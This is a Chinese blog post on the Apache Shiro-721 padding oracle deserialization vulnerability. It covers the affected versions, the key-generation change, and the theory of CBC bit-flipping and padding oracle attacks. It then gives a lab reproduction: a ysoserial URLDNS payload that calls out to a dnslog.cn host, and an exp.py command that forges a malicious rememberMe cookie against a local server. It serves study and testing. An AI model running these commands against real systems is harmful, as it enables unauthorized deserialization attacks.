Shiro反序列化漏洞之shiro721(二)

影响版本:

1.2.5 <= Apache Shiro <= 1.4.1

利用条件:

● 开启 rememberMe 功能;
● rememberMe 值使用 AES-CBC 模式解密;
● 能获取到正常 Cookie,即用户正常登录的 Cookie 值;
● 密文可控;

漏洞原理:

shiro在550之后就把固定的硬编码的key变成了随机生成的key
shiro550之前:

public AbstractRememberMeManager() {
        this.serializer = new DefaultSerializer<PrincipalCollection>();
        this.cipherService = new AesCipherService();
        setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
    }

之后:

public AbstractRememberMeManager() {
        this.serializer = new DefaultSerializer<PrincipalCollection>();
        AesCipherService cipherService = new AesCipherService();
        this.cipherService = cipherService;
        setCipherKey(cipherService.generateNewKey().getEncoded());
    }

所以在shiro721当中用到了一个密码学的思路,叫做Padding Oracle Attack,而要成功利用他还必须满足
● 当爆破的cookie错误的时候,响应包要回显rememberMe=deleteMe字段
● 当正确的时候,服务端返回正常的响应报文内容

那到底什么是Padding Oracle Attack呢?

CBC 字节翻转攻击:

在 CBC 加密模式下,每个明文块在加密前会先与前一个密文块 XOR,然后再进行加密。解密时则反过来:先解密,再与前一个密文块 XOR。由于 XOR 的特性,攻击者如果能修改某一段密文,就能“翻转”解密出来的某些明文字节,实现特定的篡改或注入。

Padding Oracle 攻击:

在一些实现中,服务器会在解密后根据填充是否正确给出不同的错误信息(或响应),这就像一个“判 oracle”。攻击者可以通过不断试探并观察填充是否正确,逐字节推断出明文内容。原理是:根据对密文的微小修改以及服务器返回的结果(正确填充或错误填充),可以推断出每个字节的实际值,从而逐步还原整个明文
参考:https://goodapple.top/archives/217
如果之前没有接触过的话,还是不太容易理解,我个人也没有理解很透彻,但大致意思就是:
在网上找到的大部分文章都是利用Padding Oracle Attack去获取明文,但是在这里,我们需要的是利用一个已知的cookie和利用链去通过Padding Oracle Attack构造恶意的payload,然后再去解密反序列化达到攻击的目的

漏洞复现:

idea打开shiro正常启动(记得更换shiro版本大于1.2.5)

然后bp抓包刷新页面即可获得登陆成功的rememberMe 值

然后用urldns的payload验证漏洞存在

java -jar ysoserial-master-6eca5bc740-1.jar URLDNS "http://5zfnof.dnslog.cn" > payload.class

然后就是用github上的工具进行爆破
https://github.com/3ndz/Shiro-721

python2 exp.py http://192.168.5.3:8081/shiro721_war/account $登陆成功的cookie payload.class

然后把生成的cookie替换原来的remberme之后发包,dns平台就能收到请求

总结:

这个漏洞的利用条件较高,并不算是一个容易利用的漏洞,但是拓展了一条可以打cbc的攻击线

posted @ 2025-03-13 21:51  Zephyr07  阅读(100)  评论(3)    收藏  举报